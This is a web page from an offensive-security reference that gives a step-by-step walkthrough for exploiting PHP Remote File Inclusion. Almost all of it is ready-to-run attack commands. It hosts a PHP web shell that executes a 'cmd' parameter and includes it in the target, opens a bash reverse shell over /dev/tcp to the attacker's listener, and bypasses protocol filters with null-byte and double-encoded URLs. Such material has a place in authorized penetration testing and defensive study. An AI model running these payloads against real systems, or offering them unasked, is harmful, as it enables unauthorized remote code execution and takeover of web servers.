# Remote File Inclusion Exploitation

- **URL:** https://hackindex.io/index.php/services/web/exploitation/file-inclusion/remote-file-inclusion-exploitation
- **Path:** HTTP/HTTPS > Exploitation > File Inclusion Exploitation
- **Up:** [File Inclusion Exploitation](https://hackindex.io/index.php/services/web/exploitation/file-inclusion.md)
- **Published:** 2026-01-26
- **Updated:** 2026-03-28

Remote File Inclusion executes PHP code fetched from an attacker-controlled URL. It requires `allow_url_include = On` in the PHP configuration, which is disabled by default on modern installs. When it's enabled, it's a direct path to code execution without needing to write anything to disk on the target. Confirm RFI is active before proceeding: a false positive wastes time and generates noise. For local file inclusion techniques, see [LFI exploitation](https://hackindex.io/services/web/exploitation/file-inclusion/local-file-inclusion-exploitation). For fuzzing parameters to identify inclusion points, see [file inclusion fuzzing](https://hackindex.io/services/web/vulnerability-discovery/file-inclusion/file-inclusion-fuzzing).

- **Confirm RFI** by hosting a test file and checking if the server fetches it.
- **Web shell deployment** hosts a PHP shell on your server and includes it via the vulnerable parameter.
- **Reverse shell** delivers interactive access through the hosted shell's cmd parameter.
- **Filter bypasses** use null bytes, URL encoding, and double encoding to evade protocol checks.

## Confirm RFI is Active

Host a test file on your Kali machine and point the vulnerable parameter at it. An incoming request on your HTTP server confirms the target is fetching remote URLs:

```bash
echo 'RFICONFIRM' > /tmp/rfi_test.txt && python3 -m http.server $LPORT -d /tmp &
```

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?page=http://$LHOST:$LPORT/rfi_test.txt" | grep RFICONFIRM
# RFICONFIRM
```

RFICONFIRM in the response means the server fetched your file and included its content. If there is no output but your HTTP server received a request, the content is being included but not displayed: still confirmed, just blind.

## Deploy a Web Shell

Host a minimal PHP web shell and include it via the vulnerable parameter:

```bash
echo '<?php system($_GET["cmd"]); ?>' > /tmp/shell.php && python3 -m http.server $LPORT -d /tmp &
```

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?page=http://$LHOST:$LPORT/shell.php&cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

## Get a Reverse Shell

Set up your listener and host a reverse shell payload:

```bash
nc -lvnp $LPORT
```

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?page=http://$LHOST:8080/shell.php" --get --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'"
```

If bash is not available, use the mkfifo method or a Python reverse shell via the cmd parameter on the hosted shell. Run the HTTP server on a different port from the netcat listener.

## Filter Bypasses

Some applications filter `http://` but miss other protocols or encoding variants:

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?page=http://$LHOST:$LPORT/shell.php%00"
```

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?page=http%3A%2F%2F$LHOST%3A$LPORT%2Fshell.php"
```

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?page=http%253A%252F%252F$LHOST%253A$LPORT%252Fshell.php"
```

## References

- [PayloadsAllTheThings: File Inclusion](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion) - RFI payload collection and filter bypass techniques
